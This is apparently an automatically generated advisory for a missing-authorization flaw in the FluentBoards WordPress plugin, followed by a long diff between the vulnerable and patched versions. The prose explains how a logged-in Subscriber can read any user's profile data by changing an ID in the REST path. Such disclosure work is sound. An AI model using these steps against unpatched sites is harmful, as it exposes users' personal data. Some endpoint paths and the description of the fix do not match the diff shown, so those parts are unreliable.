Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-24561: FluentBoards <= 1.91.1 – Missing Authorization (fluent-boards)

Plugin fluent-boards
Severity Medium (CVSS 4.3)
CWE 862
Vulnerable Version 1.91.1
Patched Version 1.91.2
Disclosed January 21, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-24561:
The vulnerability is a Missing Authorization flaw in the FluentBoards WordPress plugin, affecting versions up to and including 1.91.1. The flaw allows authenticated attackers with Subscriber-level access or higher to perform unauthorized actions by accessing a user information endpoint without proper capability checks. This constitutes a CWE-862 (Missing Authorization) vulnerability with a CVSS score of 4.3.

Atomic Edge research identifies the root cause in the `getMemberInfo` function within the `UserController` class. The vulnerable code, located at `fluent-boards/app/Http/Controllers/UserController.php`, line 113, lacked any authorization check before processing the request. The function accepted a user ID parameter and directly fetched user information via `User::findOrFail($user_id)` without verifying if the requesting user had permission to access that specific member’s data.

Exploitation requires an authenticated WordPress user with at least Subscriber privileges. Attackers send a GET request to the REST API endpoint `/wp-json/fluent-boards/v2/member-associated-users/{user_id}` or `/wp-json/fluent-boards/v2/get-member-info/{user_id}`. The `{user_id}` parameter can be manipulated to target any WordPress user ID, including administrators. No special parameters or payloads are needed beyond a valid user session cookie and the target user ID in the URL path.

The patch adds a capability check at the beginning of the `getMemberInfo` function. The fix inserts a call to `PermissionManager::isFluentBoardsUser($user_id)` on line 113, which verifies the requesting user has appropriate FluentBoards permissions for the target user ID. If this check fails, the function returns a 403 error response with an unauthorized message. Before the patch, any authenticated user could access any other user’s information through this endpoint. After the patch, only users with proper FluentBoards permissions can access the data.

Successful exploitation allows attackers to retrieve sensitive information about other WordPress users within the FluentBoards system. This includes user details, potentially exposing email addresses, display names, and other profile information. While the vulnerability doesn’t grant direct privilege escalation or code execution, it enables unauthorized data access that could facilitate social engineering, targeted attacks, or reconnaissance for further exploitation within the project management context.

Differential between vulnerable and patched code

Code Diff
--- a/fluent-boards/app/Http/Controllers/BoardController.php
+++ b/fluent-boards/app/Http/Controllers/BoardController.php
@@ -216,9 +216,11 @@

             return $this->sendSuccess([
                 'boards' => $relatedBoards
-            ], 200);
+            ]);
         } catch (Exception $e) {
-            return $this->sendError($e->getMessage(), 404);
+            return $this->sendError([
+                'message' => $e->getMessage()
+            ]);
         }
     }

@@ -253,7 +255,7 @@

         return $this->sendSuccess([
             'boards' => $boards,
-        ], 200);
+        ]);
     }

     public function createFirstBoard(Request $request)
@@ -373,12 +375,14 @@

             $message = __('Board has been created successfully', 'fluent-boards');

-            return $this->sendSuccess([
+            return $this->send([
                 'message' => $message,
                 'board'   => $board,
             ], 201);
         } catch (Exception $e) {
-            return $this->sendError($e->getMessage(), 400);
+            return $this->sendError([
+                'message' => $e->getMessage()
+            ]);
         }
     }

--- a/fluent-boards/app/Http/Controllers/TaskController.php
+++ b/fluent-boards/app/Http/Controllers/TaskController.php
@@ -1086,7 +1086,7 @@
                                 ->get();

         if ($contactsInTasks->isEmpty()) {
-            return $this->sendSuccess([], 200);
+            return $this->sendSuccess([]);
         }

         $contactIds = $contactsInTasks->pluck('crm_contact_id')
@@ -1096,7 +1096,7 @@
         $allContacts = Subscriber::whereIn('id', $contactIds)->get();

          if ($allContacts->isEmpty()) {
-            return $this->sendSuccess([], 200);
+            return $this->sendSuccess([]);
         }

         $formattedContacts = [];
@@ -1116,7 +1116,7 @@
             });
         }

-    return $this->sendSuccess($formattedContacts, 200);
+    return $this->sendSuccess($formattedContacts);
     }

     public function cloneTask(Request $request, $board_id, $task_id)
--- a/fluent-boards/app/Http/Controllers/UserController.php
+++ b/fluent-boards/app/Http/Controllers/UserController.php
@@ -113,6 +113,17 @@

     public function getMemberInfo($user_id)
     {
+        if(!PermissionManager::isFluentBoardsUser($user_id)) {
+            return $this->sendError(
+                [
+                    'message' => __('You are not authorized to access this resource', 'fluent-boards'),
+                    'code' => 'fluent_boards_unauthorized',
+                    'status' => 403
+                ],
+                403
+            );
+        }
+
         $user_id = absint($user_id);
         $user = User::findOrFail($user_id);

--- a/fluent-boards/app/Http/Controllers/WebhookController.php
+++ b/fluent-boards/app/Http/Controllers/WebhookController.php
@@ -16,7 +16,6 @@
         $search = $request->getSafe('search', 'sanitize_text_field', '');

         $webhooks = $webhook->latest()->get()->toArray();
-
         if ( ! empty($search)) {
             $search   = strtolower($search);
             $webhooks = array_map(function ($row) use ($search) {
@@ -47,18 +46,21 @@

     public function create(Request $request, Webhook $webhook)
     {
-        $data = $request->only(['name']);
+        $name = $request->name;
+        $boardId = $request->getSafe('board', 'intval');
+        $stageId = $request->getSafe('stage', 'intval');
         // Sanitize name field
-        if (isset($data['name'])) {
-            $data['name'] = sanitize_text_field($data['name']);
+        $name = sanitize_text_field($name);
+
+        if(!$name || !$boardId || !$stageId) {
+            return $this->sendError('Name, board and stage are required');
         }
-
-        $webhook = $webhook->store(
-            $this->validate(
-                $data,
-                ['name' => 'required']
-            )
-        );
+
+        $webhook = $webhook->store([
+            'name' => $name,
+            'board' => $boardId,
+            'stage' => $stageId,
+        ]);

         return [
             'id'       => $webhook->id,
--- a/fluent-boards/app/Http/Policies/AuthPolicy.php
+++ b/fluent-boards/app/Http/Policies/AuthPolicy.php
@@ -9,7 +9,7 @@
 {
     /**
      * Check user permission for any method
-     * @param FluentBoardsFrameworkRequestRequest $request
+     * @param FluentBoardsFrameworkHttpRequestRequest $request
      * @return bool
      */
     public function verifyRequest(Request $request)
@@ -19,6 +19,21 @@

     public function create()
     {
-        return PermissionManager::hasAppAccess();
+        return PermissionManager::userHasBoardCreationPermission();
+    }
+
+    public function skipOnboarding()
+    {
+        return PermissionManager::isAdmin();
+    }
+
+    public function createFirstBoard()
+    {
+        return PermissionManager::isAdmin();
+    }
+
+    public function getUsersOfBoards()
+    {
+        return PermissionManager::userHasAnyBoardAccess();
     }
 }
--- a/fluent-boards/app/Http/Policies/BoardUserPolicy.php
+++ b/fluent-boards/app/Http/Policies/BoardUserPolicy.php
@@ -9,7 +9,7 @@
 {
     /**
      * Check user permission for any method
-     * @param  FluentBoardsFrameworkRequestRequest $request
+     * @param  FluentBoardsFrameworkHttpRequestRequest $request
      * @return bool
      */
     public function verifyRequest(Request $request)
--- a/fluent-boards/app/Http/Policies/SingleBoardPolicy.php
+++ b/fluent-boards/app/Http/Policies/SingleBoardPolicy.php
@@ -9,7 +9,7 @@
 {
     /**
      * Check user permission for any method
-     * @param  FluentBoardsFrameworkRequestRequest $request
+     * @param  FluentBoardsFrameworkHttpRequestRequest $request
      * @param  int $board_id
      * @return bool
      */
--- a/fluent-boards/app/Http/Routes/api.php
+++ b/fluent-boards/app/Http/Routes/api.php
@@ -2,206 +2,228 @@
 //if accessed directly exit
 if (!defined('ABSPATH')) exit;

+use FluentBoardsAppHttpControllersBoardController;
+use FluentBoardsAppHttpControllersCommentController;
+use FluentBoardsAppHttpControllersLabelController;
+use FluentBoardsAppHttpControllersNotificationController;
+use FluentBoardsAppHttpControllersOptionsController;
+use FluentBoardsAppHttpControllersReportController;
+use FluentBoardsAppHttpControllersStageController;
+use FluentBoardsAppHttpControllersTaskController;
+use FluentBoardsAppHttpControllersUserController;
+use FluentBoardsAppHttpControllersWebhookController;
+
+
 /**
  * @var $router FluentBoardsFrameworkHttpRouter
  */

 $router->prefix('tasks')->withPolicy('AuthPolicy')->group(function ($router) {
-    $router->get('/top-in-boards', 'TaskController@getTopTasksForBoards');
-    $router->get('/crm-associated-tasks/{associated_id}', 'TaskController@getAssociatedTasks')->int('associated_id');
-    $router->get('/stage/{task_id}', 'TaskController@getStageByTask'); //FUTURE: this api need to be relocated
+    $router->get('/top-in-boards', [TaskController::class, 'getTopTasksForBoards']);
+    $router->get('/crm-associated-tasks/{associated_id}', [TaskController::class, 'getAssociatedTasks'])->int('associated_id');
+    $router->get('/stage/{task_id}', [TaskController::class, 'getStageByTask']); //FUTURE: this api need to be relocated

-    $router->get('/boards-by-type/{type}', 'BoardController@getBoardsByType');
-    $router->get('/{task_id}/labels', 'TaskController@getLabelsByTask');
+    $router->get('/boards-by-type/{type}', [BoardController::class, 'getBoardsByType']);
+    $router->get('/{task_id}/labels', [TaskController::class, 'getLabelsByTask']);

     // Task tabs configuration
-    $router->get('/task-tabs/config', 'TaskController@getTaskTabsConfig');
-    $router->post('/task-tabs/config', 'TaskController@saveTaskTabsConfig');
+    $router->get('/task-tabs/config', [TaskController::class, 'getTaskTabsConfig']);
+    $router->post('/task-tabs/config', [TaskController::class, 'saveTaskTabsConfig']);
 });

 $router->withPolicy('BoardUserPolicy')->group(function ($router) {
-    $router->get('/member-associated-users/{id}', 'UserController@memberAssociatedTaskUsers');
-    $router->get('/search-member-users/{id}', 'UserController@searchMemberUser');
-    $router->get('get-user-permissions', 'OptionsController@getUserPermission');
-    $router->get('ajax-options', 'OptionsController@selectorOptions');
-    $router->put('update-user-permissions', 'OptionsController@updatedUserPermission');
-    $router->delete('remove-user-from-board', 'OptionsController@removeUserFromBoard');
-    $router->get('/fluent-boards-users', 'UserController@allFluentBoardsUsers');
-    $router->get('/search-fluent-boards-users', 'UserController@searchFluentBoardsUser');
-    $router->post('update-global-notification-settings', 'OptionsController@updateGlobalNotificationSettings');
-    $router->get('get-global-notification-settings', 'OptionsController@getGlobalNotificationSettings');
-    $router->put('update-dashboard-view-settings', 'OptionsController@updateDashboardViewSettings');
-    $router->get('get-dashboard-view-settings', 'OptionsController@getDashboardViewSettings');
-    $router->get('projects/reports', 'ReportController@getBoardReports');
-    $router->get('reports/timesheet', 'ReportController@getTimeSheetReport');
+
+    $router->get('/quick-search', [OptionsController::class, 'quickSearch']);
+
+    $router->get('/member-associated-users/{id}', [UserController::class, 'memberAssociatedTaskUsers']);
+    $router->get('ajax-options', [OptionsController::class, 'selectorOptions']);
+    $router->post('update-global-notification-settings', [OptionsController::class, 'updateGlobalNotificationSettings']);
+    $router->get('get-global-notification-settings', [OptionsController::class, 'getGlobalNotificationSettings']);
+    $router->put('update-dashboard-view-settings', [OptionsController::class, 'updateDashboardViewSettings']);
+    $router->get('get-dashboard-view-settings', [OptionsController::class, 'getDashboardViewSettings']);
+    $router->get('projects/reports', [ReportController::class, 'getBoardReports']);
+    $router->get('reports/timesheet', [ReportController::class, 'getTimeSheetReport']);

 });

 $router->prefix('projects')->withPolicy('AuthPolicy')->group(function ($router) {
-    $router->get('/', 'BoardController@getBoards');
-    $router->post('/', 'BoardController@create');
-    $router->get('/get-default-board-colors', 'BoardController@getBoardDefaultBackgroundColors');
-    $router->get('/list-of-boards', 'BoardController@getBoardsList'); // it is using for to get all boards by user
-    $router->get('/user-accessible-boards', 'BoardController@getOnlyBoardsByUser');
-    $router->get('/crm-associated-boards/{id}', 'BoardController@getAssociatedBoards')->int('associated_id');
-    $router->get('/currencies', 'BoardController@getCurrencies');
-    $router->get('/user-admin-in-boards', 'BoardController@getUsersOfBoards');
-    $router->get('/recent-boards', 'BoardController@getRecentBoards');
-    $router->post('/onboard', 'BoardController@createFirstBoard');
-    $router->put('/skip-onboarding', 'BoardController@skipOnboarding');
-    $router->get('/pinned-boards', 'BoardController@getPinnedBoards');
+    $router->get('/', [BoardController::class, 'getBoards']);
+    $router->post('/', [BoardController::class, 'create']);
+    $router->get('/get-default-board-colors', [BoardController::class, 'getBoardDefaultBackgroundColors']);
+    $router->get('/list-of-boards', [BoardController::class, 'getBoardsList']); // it is using for to get all boards by user
+    $router->get('/user-accessible-boards', [BoardController::class, 'getOnlyBoardsByUser']);
+    $router->get('/crm-associated-boards/{id}', [BoardController::class, 'getAssociatedBoards'])->int('associated_id');
+    $router->get('/currencies', [BoardController::class, 'getCurrencies']);
+    $router->get('/user-admin-in-boards', [BoardController::class, 'getUsersOfBoards']);
+    $router->get('/recent-boards', [BoardController::class, 'getRecentBoards']);
+    $router->get('/pinned-boards', [BoardController::class, 'getPinnedBoards']);
+
+    $router->post('/onboard', [BoardController::class, 'createFirstBoard']);
+    $router->put('/skip-onboarding', [BoardController::class, 'skipOnboarding']);
+

 });

 $router->prefix('projects/{board_id}')->withPolicy('SingleBoardPolicy')->group(function ($router) {
-    $router->get('/', 'BoardController@find')->int('board_id');
-    $router->get('/has-data-changed', 'BoardController@hasDataChanged')->int('board_id');
-    $router->put('/update-board-properties', 'BoardController@updateBoardProperties')->int('board_id');
-    $router->put('/', 'BoardController@update')->int('board_id');
-    $router->delete('/', 'BoardController@delete')->int('board_id');
-    $router->get('/labels', 'LabelController@getLabelsByBoard');
-    $router->post('/labels', 'LabelController@createLabel');
-    $router->get('/labels/used-in-tasks', 'LabelController@getLabelsByBoardUsedInTasks');
-    $router->get('/tasks/{task_id}/labels', 'LabelController@getLabelsByTask'); //FUTURE: these api need to be relocated
-    $router->post('/labels/task', 'LabelController@createLabelForTask');
-    $router->put('/labels/{label_id}', 'LabelController@editLabelofBoard');
-    $router->delete('/labels/{label_id}', 'LabelController@deleteLabelOfBoard');
-    $router->delete('/tasks/{task_id}/labels/{label_id}', 'LabelController@deleteLabelOfTask');
-    $router->put('/pin-board', 'BoardController@pinBoard');
-    $router->put('/unpin-board', 'BoardController@unpinBoard');
-
-    $router->get('/users', 'BoardController@getBoardUsers');
-    $router->post('/user/{user_id}/remove', 'BoardController@removeUserFromBoard')->int('board_id')->int('user_id');
-    $router->post('/add-members', 'BoardController@addMembersInBoard');
-
-    $router->get('/assignees', 'BoardController@getAssigneesByBoard')->int('board_id');
-    $router->get('/activities', 'BoardController@getActivities')->int('board_id');
-
-    $router->put('/stage-move-all-task', 'BoardController@moveAllTasks')->int('board_id');
-    $router->post('/stage-create', 'BoardController@createStage')->int('board_id');
-    $router->put('/stage/{stage_id}/sort-task', 'StageController@sortStageTasks')->int('board_id')->int('stage_id');
-    $router->put('/stage/{stage_id}/archive-all-task', 'BoardController@archiveAllTasksInStage')->int('board_id')->int('stage_id');
-    $router->put('/re-position-stages', 'BoardController@repositionStages')->int('board_id');
-    $router->put('/update-stage/{stage_id}', 'StageController@updateStage')->int('board_id'); //Todo:: will delete later
-    $router->put('/update-stage-property/{stage_id}', 'StageController@updateStageProperty')->int('board_id');
-    $router->put('/archive-stage/{stage_id}', 'BoardController@archiveStage')->int('board_id');
-    $router->put('/stage-view/{stage_id}', 'BoardController@changeStageView')->int('board_id');
-    $router->put('/restore-stage/{stage_id}', 'BoardController@restoreStage')->int('board_id');
-    $router->put('/drag-stage', 'StageController@dragStage')->int('board_id');
-    $router->get('/archived-stages', 'BoardController@getArchivedStage')->int('board_id');
-    $router->get('/archived-tasks', 'TaskController@getArchivedTasks')->int('board_id');
-    $router->put('/bulk-restore-tasks', 'TaskController@bulkRestoreTasks')->int('board_id');
-    $router->delete('/bulk-delete-tasks', 'TaskController@bulkDeleteTasks')->int('board_id');
-    $router->get('/stage-task-available-positions/{stage_id}', 'BoardController@getStageTaskAvailablePositions')->int('board_id')->int('stage_id');
-
-    $router->post('/crm-contact', 'BoardController@updateAssociateCrmContact')->int('board_id');
-    $router->get('/crm-contacts', 'BoardController@getAssociateCrmContacts')->int('board_id');
-    $router->delete('/crm-contact/{contact_id}', 'BoardController@deleteAssociateCrmContact')->int('board_id')->int('contact_id');
-
-    $router->get('/notification-settings', 'NotificationController@getBoardNotificationSettings')->int('board_id');
-    $router->put('/update-notification-settings', 'NotificationController@updateBoardNotificationSettings')->int('board_id');
-
-    $router->post('/duplicate-board', 'BoardController@duplicateBoard')->int('board_id');
-    $router->post('/import-from-board', 'BoardController@importFromBoard')->int('board_id');
-
-    $router->put('/upload/background', 'BoardController@setBoardBackground')->int('board_id');
-    $router->post('/upload/background-image', 'BoardController@uploadBoardBackground')->int('board_id');
-    $router->put('/archive-board', 'BoardController@archiveBoard')->int('board_id');
-    $router->put('/restore-board', 'BoardController@restoreBoard')->int('board_id');
-    $router->get('/board-menu-items', 'BoardController@getBoardMenuItems')->int('board_id');
-    $router->get('/stage-wise-reports', 'ReportController@getStageWiseBoardReports')->int('board_id');
+    $router->get('/', [BoardController::class, 'find'])->int('board_id');
+    $router->get('/has-data-changed', [BoardController::class, 'hasDataChanged'])->int('board_id');
+    $router->put('/update-board-properties', [BoardController::class, 'updateBoardProperties'])->int('board_id');
+    $router->put('/', [BoardController::class, 'update'])->int('board_id');
+    $router->delete('/', [BoardController::class, 'delete'])->int('board_id');
+    $router->get('/labels', [LabelController::class, 'getLabelsByBoard']);
+    $router->post('/labels', [LabelController::class, 'createLabel']);
+    $router->get('/labels/used-in-tasks', [LabelController::class, 'getLabelsByBoardUsedInTasks']);
+    $router->get('/tasks/{task_id}/labels', [LabelController::class, 'getLabelsByTask']); //FUTURE: these api need to be relocated
+    $router->post('/labels/task', [LabelController::class, 'createLabelForTask']);
+    $router->put('/labels/{label_id}', [LabelController::class, 'editLabelofBoard']);
+    $router->delete('/labels/{label_id}', [LabelController::class, 'deleteLabelOfBoard']);
+    $router->delete('/tasks/{task_id}/labels/{label_id}', [LabelController::class, 'deleteLabelOfTask']);
+    $router->put('/pin-board', [BoardController::class, 'pinBoard']);
+    $router->put('/unpin-board', [BoardController::class, 'unpinBoard']);
+
+    $router->get('/users', [BoardController::class, 'getBoardUsers']);
+    $router->post('/user/{user_id}/remove', [BoardController::class, 'removeUserFromBoard'])->int('board_id')->int('user_id');
+    $router->post('/add-members', [BoardController::class, 'addMembersInBoard']);
+
+    $router->get('/assignees', [BoardController::class, 'getAssigneesByBoard'])->int('board_id');
+    $router->get('/activities', [BoardController::class, 'getActivities'])->int('board_id');
+
+    $router->put('/stage-move-all-task', [BoardController::class, 'moveAllTasks'])->int('board_id');
+    $router->post('/stage-create', [BoardController::class, 'createStage'])->int('board_id');
+    $router->put('/stage/{stage_id}/sort-task', [StageController::class, 'sortStageTasks'])->int('board_id')->int('stage_id');
+    $router->put('/stage/{stage_id}/archive-all-task', [BoardController::class, 'archiveAllTasksInStage'])->int('board_id')->int('stage_id');
+    $router->put('/re-position-stages', [BoardController::class, 'repositionStages'])->int('board_id');
+    $router->put('/update-stage/{stage_id}', [StageController::class, 'updateStage'])->int('board_id'); //Todo:: will delete later
+    $router->put('/update-stage-property/{stage_id}', [StageController::class, 'updateStageProperty'])->int('board_id');
+    $router->put('/archive-stage/{stage_id}', [BoardController::class, 'archiveStage'])->int('board_id');
+    $router->put('/stage-view/{stage_id}', [BoardController::class, 'changeStageView'])->int('board_id');
+    $router->put('/restore-stage/{stage_id}', [BoardController::class, 'restoreStage'])->int('board_id');
+    $router->put('/drag-stage', [StageController::class, 'dragStage'])->int('board_id');
+    $router->get('/archived-stages', [BoardController::class, 'getArchivedStage'])->int('board_id');
+    $router->get('/archived-tasks', [TaskController::class, 'getArchivedTasks'])->int('board_id');
+    $router->put('/bulk-restore-tasks', [TaskController::class, 'bulkRestoreTasks'])->int('board_id');
+    $router->delete('/bulk-delete-tasks', [TaskController::class, 'bulkDeleteTasks'])->int('board_id');
+    $router->get('/stage-task-available-positions/{stage_id}', [BoardController::class, 'getStageTaskAvailablePositions'])->int('board_id')->int('stage_id');
+
+    $router->post('/crm-contact', [BoardController::class, 'updateAssociateCrmContact'])->int('board_id');
+    $router->get('/crm-contacts', [BoardController::class, 'getAssociateCrmContacts'])->int('board_id');
+    $router->delete('/crm-contact/{contact_id}', [BoardController::class, 'deleteAssociateCrmContact'])->int('board_id')->int('contact_id');
+
+    $router->get('/notification-settings', [NotificationController::class, 'getBoardNotificationSettings'])->int('board_id');
+    $router->put('/update-notification-settings', [NotificationController::class, 'updateBoardNotificationSettings'])->int('board_id');
+
+    $router->post('/duplicate-board', [BoardController::class, 'duplicateBoard'])->int('board_id');
+    $router->post('/import-from-board', [BoardController::class, 'importFromBoard'])->int('board_id');
+
+    $router->put('/upload/background', [BoardController::class, 'setBoardBackground'])->int('board_id');
+    $router->post('/upload/background-image', [BoardController::class, 'uploadBoardBackground'])->int('board_id');
+    $router->put('/archive-board', [BoardController::class, 'archiveBoard'])->int('board_id');
+    $router->put('/restore-board', [BoardController::class, 'restoreBoard'])->int('board_id');
+    $router->get('/board-menu-items', [BoardController::class, 'getBoardMenuItems'])->int('board_id');
+    $router->get('/stage-wise-reports', [ReportController::class, 'getStageWiseBoardReports'])->int('board_id');


     //# Tasks under a single board routes
     //# Route prefix: /projects/{id}/tasks
     $router->prefix('/tasks')->group(function ($router) {
-        $router->get('/', 'TaskController@getTasksByBoard')->int('board_id');
-        $router->get('/by-stage', 'TaskController@getTasksByBoardStage')->int('board_id');
-        $router->post('/', 'TaskController@create');
-        $router->post('/create-task-from-image', 'TaskController@createTaskFromImage')->int('board_id');
-        $router->get('/archived', 'TaskController@getArchivedTasks')->int('board_id');
-        $router->get('/{task_id}', 'TaskController@find')->int('board_id')->int('task_id')->int('task_id');
-        $router->put('/{task_id}', 'TaskController@updateTaskProperties')->int('board_id')->int('task_id');
-        $router->post('/{task_id}/dates', 'TaskController@updateTaskDates')->int('board_id')->int('task_id');
-        $router->put('/{task_id}/move-task', 'TaskController@moveTask')->int('board_id')->int('task_id');
-        $router->post('/bulk-actions', 'TaskController@bulkActions')->int('board_id');
-        $router->post('/update-cover-photo/{task_id}', 'TaskController@updateTaskCoverPhoto')->int('task_id');
-        $router->post('/status-update/{task_id}', 'TaskController@taskStatusUpdate')->int('task_id');
-        $router->delete('/{task_id}', 'TaskController@deleteTask')->int('board_id')->int('task_id');
-        $router->put('/{task_id}/move-to-next-stage', 'TaskController@moveTaskToNextStage')->int('board_id')->int('task_id');
+        $router->get('/', [TaskController::class, 'getTasksByBoard'])->int('board_id');
+        $router->get('/by-stage', [TaskController::class, 'getTasksByBoardStage'])->int('board_id');
+        $router->post('/', [TaskController::class, 'create']);
+        $router->post('/create-task-from-image', [TaskController::class, 'createTaskFromImage'])->int('board_id');
+        $router->get('/archived', [TaskController::class, 'getArchivedTasks'])->int('board_id');
+        $router->get('/{task_id}', [TaskController::class, 'find'])->int('board_id')->int('task_id')->int('task_id');
+        $router->put('/{task_id}', [TaskController::class, 'updateTaskProperties'])->int('board_id')->int('task_id');
+        $router->post('/{task_id}/dates', [TaskController::class, 'updateTaskDates'])->int('board_id')->int('task_id');
+        $router->put('/{task_id}/move-task', [TaskController::class, 'moveTask'])->int('board_id')->int('task_id');
+        $router->post('/bulk-actions', [TaskController::class, 'bulkActions'])->int('board_id');
+        $router->post('/update-cover-photo/{task_id}', [TaskController::class, 'updateTaskCoverPhoto'])->int('task_id');
+        $router->post('/status-update/{task_id}', [TaskController::class, 'taskStatusUpdate'])->int('task_id');
+        $router->delete('/{task_id}', [TaskController::class, 'deleteTask'])->int('board_id')->int('task_id');
+        $router->put('/{task_id}/move-to-next-stage', [TaskController::class, 'moveTaskToNextStage'])->int('board_id')->int('task_id');

         // Comments Routes Area
-        $router->get('/{task_id}/comments', 'CommentController@getComments')->int('board_id')->int('task_id');
-        $router->post('/{task_id}/comments', 'CommentController@create')->int('board_id')->int('task_id');
-        $router->put('/comments/{comment_id}', 'CommentController@update')->int('board_id')->int('comment_id');
-        $router->put('/reply/{reply_id}', 'CommentController@updateReply')->int('board_id')->int('reply_id');
-        $router->delete('/comments/{comment_id}', 'CommentController@deleteComment')->int('board_id')->int('comment_id');
-        $router->delete('/reply/{reply_id}', 'CommentController@deleteReply')->int('board_id')->int('reply_id');
-        $router->put('/comments/{comment_id}/privacy', 'CommentController@updateCommentPrivacy')->int('board_id')->int('comment_id');
+        $router->get('/{task_id}/comments', [CommentController::class, 'getComments'])->int('board_id')->int('task_id');
+        $router->post('/{task_id}/comments', [CommentController::class, 'create'])->int('board_id')->int('task_id');
+        $router->put('/comments/{comment_id}', [CommentController::class, 'update'])->int('board_id')->int('comment_id');
+        $router->put('/reply/{reply_id}', [CommentController::class, 'updateReply'])->int('board_id')->int('reply_id');
+        $router->delete('/comments/{comment_id}', [CommentController::class, 'deleteComment'])->int('board_id')->int('comment_id');
+        $router->delete('/reply/{reply_id}', [CommentController::class, 'deleteReply'])->int('board_id')->int('reply_id');
+        $router->put('/comments/{comment_id}/privacy', [CommentController::class, 'updateCommentPrivacy'])->int('board_id')->int('comment_id');


         // Activities Area
-        $router->get('/{task_id}/activities', 'TaskController@getActivities')->int('board_id')->int('task_id');
+        $router->get('/{task_id}/activities', [TaskController::class, 'getActivities'])->int('board_id')->int('task_id');

-        $router->post('/{task_id}/assign-yourself', 'TaskController@assignYourselfInTask')->int('board_id')->int('task_id');
-        $router->post('/{task_id}/detach-yourself', 'TaskController@detachYourselfFromTask')->int('board_id')->int('task_id');
-        $router->get('/{task_id}/comments-and-activities', 'TaskController@getCommentsAndActivities')->int('board_id')->int('task_id');
-        $router->post('/{task_id}/comment-image-upload', 'CommentController@handleImageUpload')->int('board_id')->int('task_id');
-        $router->post('/{task_id}/task-cover-image-upload', 'TaskController@handleTaskCoverImageUpload')->int('board_id')->int('task_id');
-        $router->post('/{task_id}/remove-task-cover', 'TaskController@removeTaskCover')->int('board_id')->int('task_id');
-        $router->post('/{task_id}/wp-editor-media-file-upload', 'TaskController@uploadMediaFileFromWpEditor')->int('board_id')->int('task_id');
-        $router->post('/{task_id}/clone-task', 'TaskController@cloneTask')->int('board_id')->int('task_id');
+        $router->post('/{task_id}/assign-yourself', [TaskController::class, 'assignYourselfInTask'])->int('board_id')->int('task_id');
+        $router->post('/{task_id}/detach-yourself', [TaskController::class, 'detachYourselfFromTask'])->int('board_id')->int('task_id');
+        $router->get('/{task_id}/comments-and-activities', [TaskController::class, 'getCommentsAndActivities'])->int('board_id')->int('task_id');
+        $router->post('/{task_id}/comment-image-upload', [CommentController::class, 'handleImageUpload'])->int('board_id')->int('task_id');
+        $router->post('/{task_id}/task-cover-image-upload', [TaskController::class, 'handleTaskCoverImageUpload'])->int('board_id')->int('task_id');
+        $router->post('/{task_id}/remove-task-cover', [TaskController::class, 'removeTaskCover'])->int('board_id')->int('task_id');
+        $router->post('/{task_id}/wp-editor-media-file-upload', [TaskController::class, 'uploadMediaFileFromWpEditor'])->int('board_id')->int('task_id');
+        $router->post('/{task_id}/clone-task', [TaskController::class, 'cloneTask'])->int('board_id')->int('task_id');
     });
 });

 $router->prefix('admin')->withPolicy('AdminPolicy')->group(function ($router) {

-    $router->get('/feature-modules', 'OptionsController@getAddonsSettings');
-    $router->post('/feature-modules', 'OptionsController@saveAddonsSettings');
-    $router->post('/feature-modules/install-plugin', 'OptionsController@installPlugin');
+    $router->get('/feature-modules', [OptionsController::class, 'getAddonsSettings']);
+    $router->post('/feature-modules', [OptionsController::class, 'saveAddonsSettings']);
+    $router->post('/feature-modules/install-plugin', [OptionsController::class, 'installPlugin']);

-    $router->get('/general-settings', 'OptionsController@getGeneralSettings');
-    $router->post('/general-settings', 'OptionsController@saveGeneralSettings');
+    $router->get('/general-settings', [OptionsController::class, 'getGeneralSettings']);
+    $router->post('/general-settings', [OptionsController::class, 'saveGeneralSettings']);

-    $router->get('pages', 'OptionsController@getPages');
+    $router->get('pages', [OptionsController::class, 'getPages']);

 });

 $router->prefix('webhooks')->withPolicy('WebhookPolicy')->group(function ($router) {
-    $router->get('/', 'WebhookController@index');
-    $router->post('/', 'WebhookController@create');
-    $router->put('/{id}', 'WebhookController@update')->int('id');
-    $router->delete('/{id}', 'WebhookController@delete')->int('id');
+    $router->get('/', [WebhookController::class, 'index']);
+    $router->post('/', [WebhookController::class, 'create']);
+    $router->put('/{id}', [WebhookController::class, 'update'])->int('id');
+    $router->delete('/{id}', [WebhookController::class, 'delete'])->int('id');
 });

 // Add outgoing webhook routes
 $router->prefix('outgoing-webhooks')->withPolicy('WebhookPolicy')->group(function ($router) {
-    $router->get('/', 'WebhookController@outgoingWebhooks');
-    $router->post('/', 'WebhookController@createOutgoingWebhook');
-    $router->put('/{id}', 'WebhookController@updateOutgoingWebhook')->int('id');
-    $router->delete('/{id}', 'WebhookController@deleteOutgoingWebhook')->int('id');
+    $router->get('/', [WebhookController::class, 'outgoingWebhooks']);
+    $router->post('/', [WebhookController::class, 'createOutgoingWebhook']);
+    $router->put('/{id}', [WebhookController::class, 'updateOutgoingWebhook'])->int('id');
+    $router->delete('/{id}', [WebhookController::class, 'deleteOutgoingWebhook'])->int('id');
 });


 $router->prefix('member/{id}')->withPolicy('UserPolicy')->group(function ($router) {
-    $router->get('/', 'UserController@getMemberInfo');
-    $router->get('/projects', 'UserController@getMemberBoards');
-    $router->get('/tasks', 'UserController@getMemberAssociatedTasks');
-    $router->get('/activities', 'UserController@getMemberRelatedAcitivies');
+    $router->get('/', [UserController::class, 'getMemberInfo']);
+    $router->get('/projects', [UserController::class, 'getMemberBoards']);
+    $router->get('/tasks', [UserController::class, 'getMemberAssociatedTasks']);
+    $router->get('/activities', [UserController::class, 'getMemberRelatedAcitivies']);
 });

 /*
 * TODO: I guess we can minimize the number of routes. and Backend code needs to be refactored
 */

-$router->withPolicy('UserPolicy')->get('/all-notifications', 'NotificationController@getAllNotifications');
-$router->withPolicy('UserPolicy')->get('/all-unread-notifications', 'NotificationController@getAllUnreadNotifications');
-$router->withPolicy('UserPolicy')->get('notification/unread-count', 'NotificationController@newNotificationNumber');
-$router->withPolicy('UserPolicy')->put('notification/read', 'NotificationController@readNotification');
-$router->withPolicy('UserPolicy')->get('quick-search', 'OptionsController@quickSearch');
-$router->withPolicy('UserPolicy')->get('contacts/{board_id}', 'TaskController@getAssociatedCrmContacts')->int('board_id');
+// Notification routes
+$router->prefix('notifications')->withPolicy('UserPolicy')->group(function ($router) {
+    $router->get('/', [NotificationController::class, 'getAllNotifications']);
+    $router->get('/unread', [NotificationController::class, 'getAllUnreadNotifications']);
+    $router->get('/unread-count', [NotificationController::class, 'newNotificationNumber']);
+    $router->put('/read', [NotificationController::class, 'readNotification']);
+});
+
